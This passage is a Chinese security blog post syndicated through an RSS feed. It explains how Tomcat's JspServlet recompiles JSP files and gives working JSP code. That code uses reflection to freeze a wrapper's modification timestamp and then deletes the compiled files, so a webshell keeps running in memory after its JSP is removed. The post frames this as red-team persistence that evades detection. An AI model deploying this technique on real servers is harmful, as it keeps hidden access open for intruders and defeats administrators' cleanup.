<p><a href="2247483876">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b62c323d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483876%26idx%3D1%26sn%3D628c310c265cd6f678dabdd038984a8f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 Dec 2020 12:58:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之JSP金蝉脱壳</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483849&amp;idx=1&amp;sn=7b0b0a26236ebee98150fc50309931e4</link>
      <description>“我与我周旋久，宁作我”  - 《世说新语·品藻》</description>
      <content:encoded><![CDATA[<p>
原创 <span>Amev</span> <span>2020-12-12 00:00</span> <span style="display: inline-block;"></span>
</p>

<p>“我与我周旋久，宁作我”  - 《世说新语·品藻》</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=44b2f008&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tZmFvDLwRZ5gBXIibu1pEQMmsGpXrrCgp9libsxPn1sIUbZrJj8CXWVgg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p style="text-align: center;"><strong style="font-size: 15px;text-align: center;white-space: normal;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="font-size: 15px;text-align: center;white-space: normal;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></p><section class="js_blockquote_digest" style="color: rgb(154, 154, 154);font-size: 15px;white-space: normal;"><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="15" data-source-title="https://www.anquanke.com/post/id/224698"><section class="js_blockquote_digest"><p><strong>原文首发于安全客 - 安全资讯平台</strong></p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2%3C%2Fp%3E%22%2C%22digestLen%22%3A8%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F224698%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/224698" target="_blank">https://www.anquanke.com/post/id/224698</a></span></section></blockquote><p><br/></p><p><br/></p></section><p><img class="rich_pages js_insertlocalimg" data-ratio="0.6" data-s="300,640" style="text-align: center;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=97d2d444&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tQPtTeCAYrlWY68kA4JUO4tsHdibsoASW9yfiayZh33SxvF42hOA8OQIQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="text-align: center;"><br/></p><h6 style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 24px;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(54, 41, 47);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景：</span></strong></span><br/></h6><p><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。</span></p><p><span style="color: rgb(54, 41, 47);"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;">结合当下的形势，尝试下在Tomcat容器中，寻找能为我们渗透测试提供便利的特性。</span></span></p><section style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 28px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h6 style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 24px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(121, 123, 170);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">声明 ：</span></strong></span></h6><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p><br/></p><p><br/></p><p><span style="font-size: 15px;font-family: 等线;">一、<span style="font-family: 等线;">金蝉脱壳怎么讲？</span></span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">在Tomcat中，JSP被看作是一种特殊的servlet，当我们请求JSP时，Tomcat会对jsp进行编译，生成相应的class文件。在我们渗透测试的过程中通过文件上传令jsp落地，动静太大，Webshell的痕迹太过于明显，容易被管理员发现并删除，而当JSP文件被删除后，Webshell就失效了。当然也可以通过其他组合拳，打入内存马或以其他形式做权限维持。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">这次我们根据Tomcat对Jsp的处理流程来看看，有没有什么办法，当服务器将JSP删除后，我们的webshell仍能维持运作？</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;"><br/></span></p><p><span style="font-size: 15px;font-family: 等线;">二、Tomcat基本的Servlet有哪些？</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">通过查看配置文件/conf/web.xml，可以得知Tomcat含有两个默认的servlet。分别是DefaultServlet以及JspServlet。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.48027444253859347" data-s="300,640" style="" data-type="png" data-w="583" src="https://wechat2rss.xlab.app/img-proxy/?k=313e6825&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tibLQM5s7r3GL0gxFFXpCuiceb0HKgt3EUXbIE7s2LYb5VFib5q8clyrJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">对于Tomcat而言，当一个请求进入时，若没有匹配到任何在/WEB-INF/Web.xml中定义的Servlet，则最终会流经至这两个默认的Servlet。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">其中，DefaultServlet主要用于处理静态资源如HTML、图片、CSS以及JS文件等，为了提高服务器性能，Tomcat会对访问文件进行缓存，并且按照配置中的Url-Pattern，客户端请求资源的路径，跟资源的物理路径应当是一致的，当然如果只想加载static目录下的资源，这里也可以将DefaultServlet的路径匹配限制为“/static/*”，关于DefaultServlet不再赘述。</span></p><p><span style="font-family: 等线;font-size: 15px;">        那么，JspServlet主要负责处理对于JSP文件以及JSPX文件的请求，如此一来，我们就知道了，处理对于*.jsp和*.jspx的请求，调用的是Servlet是JspServlet。</span></p><p><span style="font-family: 等线;font-size: 15px;"><br/></span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-size: 15px;font-family: 等线;">三、JspServlet的调用过程和逻辑细节</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">不知道各位还有没有印象，我们Servlet，在哪个时候、哪个过程、哪个类中才被调用。如果忘记了可以重新翻阅一下《Filter内存吗》以及《Servlet内存马》两篇文章。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">其实，就是在ApplicationFilterChain调用Filter对请求执行一遍过滤逻辑之后，开始对Servlet进行调用。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5039232781168265" data-s="300,640" style="" data-type="png" data-w="1147" src="https://wechat2rss.xlab.app/img-proxy/?k=18fe1e52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6txpWz1TUCdFxaTKgGIXPFHiaxDIbOcuclPBkM3edb2xwaEqtjh7P5qFg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 15px;">具体在ApplicationFilterChain#internalDoFilter方法中的this.servlet.service(request, response)。这里的this是ApplicationFilterChain</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5967184801381693" data-s="300,640" style="" data-type="png" data-w="1158" src="https://wechat2rss.xlab.app/img-proxy/?k=3b44e2d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tcCQXiadjib9qvVTxYxAqKL2ficib6Z7z9IK9L3Um5LiarEz03kXzazr7c8w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size: 15px;font-family: 等线;"><span style="font-family: 等线;">我们继续来看</span>JspServlet#service()，前面一段是获取当前请求的Jsp路径，比方说请求“/webapp/index.jsp”,那么这里就获取的是jspUri = “/index.jsp”</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.50390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d9b4d4af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tGAwahbdrM5zFzSBK1R1eN7U3rsgKq7a4D2ia2HSLLIgiclwpXe4aPs1w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">this.preCompile(request)就是判断一下有没有预编译，我们关注点在jsp的刷新机制，这里影响不大，继续往下看。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bddaa760&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tHF9wsUbiagzJoI0nHl0ymHfXhX163sdcuY34pQ60EnbdA5fAejU0kWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;font-size: 15px;">        进入JspServlet#serviceJspFile()方法，this.rctxt指代JspRuntimeContext类，它是Tomcat后台定期检查JSP文件是否变动的类，若有变动则对JSP文件重新编译。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5995850622406639" data-s="300,640" style="" data-type="png" data-w="964" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5d85b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6t784z8e95VJtvL229YSQG4A2PcGbldZ1OMCUyKynsObp4icndbWgZmAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">在JspRuntimeContext的成员属性jsps中，记录的与jspUri对应的Wrapper，这个wrapper逻辑上对应jsp经编译后得到的servlet</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.37890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b59aee7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tvguM1ElMNnAYzymfiangpiciciaGH66x2KYDDEXaRuRzHnY4YwuCMQFDbg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">那么第一个if逻辑，做的是一个匹配，匹配到了就返回Wrapper。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">往下看，wrapper.service(),这里进入JspServletWrapper的service方法。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5686635944700461" data-s="300,640" style="" data-type="png" data-w="1085" src="https://wechat2rss.xlab.app/img-proxy/?k=ca24658f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6ticDicrOvN4iaVkmFYEb2iczMicx2aghwcJaMKdOClMGP80Gl2QKCzYr0NOg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">Tomcat默认处于开发模式，而生产模式下的Tomcat，Jsp更新后需要重启服务才可以生效，这里将进入this.ctxt.compile()。</span></p><p><span style="font-family: 等线;font-size: 15px;">此处this.ctxt调用的是JspCompilationContext类，该类主要是记录用于JSP解析引擎的各类数据。当前我们在JspServletWrapper类中，调用compile()方法是为了确认当前访问的jsp是否需要重新编译。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5417766051011433" data-s="300,640" style="" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=a3b7eec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tG89XiaXL9wB2FMmNTibP59Q5E1py1yjqHxB7gTBRrT0gaqOreiaHELrOw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">因此当进入Compiler中时，关键的逻辑就是this.jspCompiler.isOutDated()，检查Jsp更新。这里顺带讲讲，Tomcat对于Jsp使用的编译器，来看看this.createCompiler()。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.434375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a125f1ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tOkZfxfpQ0OVQe4tmPUp4rMSDumOq5CnbTCBIg4BZIHWdiaB4bViau6mg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">逻辑比较简单，先看看配置文件有没有定义编译器，没有就默认采用JDTcompiler。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4504065040650406" data-s="300,640" style="" data-type="png" data-w="1230" src="https://wechat2rss.xlab.app/img-proxy/?k=ae264313&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6t0rYNVhEiaOLR8IC4t9KJegQ2ZIAxFndbJ56qqDia72tea8VFGa2yOTfg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">直接来看isOutDated()吧，既然这里是判断我们访问的JSP文件有没有更新，在这里搞点事情做点手脚欺骗一下Tomcat让它误以为没有更新。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">这里是核心步骤，在讲解之前，要先补充点其他的内容。上文中，我们提及到JspRuntimeContext类，Jsp文件经过编译并包装后得到的JspServletWrapper实例，其实保存在JspRuntimeContext#jsps中。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">当我们访问JSP文件时，Tomcat将从JspRuntimeContext#logs中，根据我们请求的路径找到相应的JspServletWrapper，如果没有找到，就进行加载编译，并添加入jsps中，无论是新编译好的还是旧编译好的，依旧会调用此时得到的JspServletWrapper#service()方法，此时真正响应请求的servlet其实已随JspServletWrapper，保存在jsps中。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">经过上面分析，最终会去到isOutDated方法。如果我们删除了Jsp文件，则该方法必然返回true，Tomcat将对jsp文件进行重新编译，如果没找到jsp文件，则报FileNotFoundException。</span></p><p style="text-indent: 28px;"><span style="font-size: 15px;font-family: 等线;"><span style="font-family: 等线;">那么，真正实现代码逻辑功能的</span>servlet已经在jsps中安安静静躺好了，要想实现删除掉Jsp文件，但仍然让servlet”<span style="font-family: 等线;">高枕无忧</span>”<span style="font-family: 等线;">，就要令</span>isOutDataed的第一个If逻辑直接返回false（这个If逻辑比较容易处理）</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.146875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c178c0af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tDqorwwc7icKcKyxibc8uJTHUkk9naibhscXXCHDicaBXv4xOibf8PCyA0mA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">来看，this.jsw等同于JspServletWrapper，前两个条件明显成立，ModificationTestInterval的值默认为4，jsw是对我们请求响应的JspServlet。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">后面判断JspServletWrapper的LastModificationTest加上4*1000 是否大于系统当前时间，成立则返回false。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">我一看this.jsw.getLastModificationTest()，啪的一下，很快嗷，有没有朋友已经反应过来了，利用Java反射机制动态修改实例中的运行数据，将LastModificationTest更改为一个足够大的值，使得这个条件永成立，就可以使得Tomcat认为我们的JSP文件至始至终不曾更变。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">这里是long型，可能有的朋友一瞅，直接整个long型最大值，使得这个条件永真。留意还有额外的量要添加，超过最大值会得到一个负数，令这个条件永假</span></p><p style="text-indent: 28px;"><br/></p><p style="margin-left: 0;text-indent: 0;"><span style="font-size: 15px;font-family: 等线;">四、<span style="font-family: 等线;">编写代码</span></span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">按照惯例，导入包一览：</span></p><p style="text-indent: 28px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;%@ page import=&#34;java.lang.reflect.Field&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.catalina.mapper.MappingData&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.catalina.connector.Request&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.catalina.Wrapper&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.jasper.compiler.JspRuntimeContext&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;java.util.HashMap&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;java.util.concurrent.ConcurrentHashMap&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.jasper.servlet.JspServletWrapper&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;org.apache.jasper.JspCompilationContext&#34; %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=&#34;java.io.File&#34; %&gt;</span></code></pre></section><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">无尽的反射,request里的MappingData东西是真的全：</span></p><p style="text-indent: 28px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    Field requestF = request.getClass().getDeclaredField(&#34;request&#34;);</span></code><code><span class="code-snippet_outer">    requestF.setAccessible(true);</span></code><code><span class="code-snippet_outer">    Request req = (Request) requestF.get(request);</span></code><code><span class="code-snippet_outer">    Wrapper wrapper = (Wrapper) req.getWrapper();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Field instanceF = wrapper.getClass().getDeclaredField(&#34;instance&#34;);</span></code><code><span class="code-snippet_outer">    instanceF.setAccessible(true);</span></code><code><span class="code-snippet_outer">    Servlet jspServlet = (Servlet) instanceF.get(wrapper);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Field rctxt = jspServlet.getClass().getDeclaredField(&#34;rctxt&#34;);</span></code><code><span class="code-snippet_outer">    rctxt.setAccessible(true);</span></code><code><span class="code-snippet_outer">    JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Field jspsF = jspRuntimeContext.getClass().getDeclaredField(&#34;jsps&#34;);</span></code><code><span class="code-snippet_outer">    jspsF.setAccessible(true);</span></code><code><span class="code-snippet_outer">    ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());</span></code><code><span class="code-snippet_outer">    jsw.setLastModificationTest(8223372036854775807L);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    JspCompilationContext ctxt = jsw.getJspEngineContext();</span></code><code><span class="code-snippet_outer">    File targetFile;</span></code><code><span class="code-snippet_outer">    targetFile = new File(ctxt.getClassFileName());</span></code><code><span class="code-snippet_outer">    targetFile.delete();</span></code><code><span class="code-snippet_outer">    targetFile = new File(ctxt.getServletJavaFileName());</span></code><code><span class="code-snippet_outer">    targetFile.delete();</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="margin-left: 0;text-indent: 0;"><br/></p><p style="margin-left: 0;text-indent: 0;"><span style="font-size: 15px;font-family: 等线;">五、<span style="font-family: 等线;">看看效果</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.34921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=869de811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tibJqOmQicD91hFxEK1cd2m5SQW3r8cwKkTd46yibGN00JmbNNLiaNQia5oQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 15px;">访问后，会自动删除jsp文件以及编译好的class文件，以内存对象的形式驻留在Tomcat容器中</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 28px;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.66484375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dbc020a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwXLkn9MlNKrI9ZFo8zeY6tXthoCPFvFjm7T3TIibd9Sb0HYxfibz2kEaFgNOm4qf0IFxkyFYXWraTg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-indent: 28px;"><br/></p>



<p><a href="2247483849">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f84ccb9c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483849%26idx%3D1%26sn%3D7b0b0a26236ebee98150fc50309931e4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 12 Dec 2020 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之Servlet内存马</title>
